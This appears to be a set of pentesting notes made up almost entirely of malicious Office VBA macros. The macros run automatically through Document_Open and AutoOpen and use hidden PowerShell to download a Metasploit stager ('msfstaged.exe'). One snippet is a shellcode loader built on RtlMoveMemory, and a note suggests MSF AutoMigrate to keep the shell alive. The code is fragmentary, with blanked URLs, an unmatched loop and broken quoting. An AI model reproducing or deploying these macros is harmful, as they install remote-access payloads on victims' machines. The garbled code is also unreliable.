Sub MyMacro()
Dim str As String
((New-Object System.Net.WebClient).DownloadString(''))"
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long
Function MyMacro()
Dim buf As Variant
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
End Function
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
The shell dies when closing the doc; resolve by AutoMigrate module in MSF
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadFile('/', 'msfstaged.exe')"
Shell str, vbHide
Dim exePath As String
exePath = ActiveDocument.Path + "\msfstaged.exe"
Wait (2)
End Sub
Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now >= DateAdd("s", n, t)
End Sub
IWR alternative MyMacro
Sub MyMacro()
Dim str As String
str = "powershell -c "IWR -Uri -OutFile msfstaged.exe"
Shell str, vbHide
Dim exePath As String
exePath = "C:\temp\msfstaged.exe"
Wait (2)
End Sub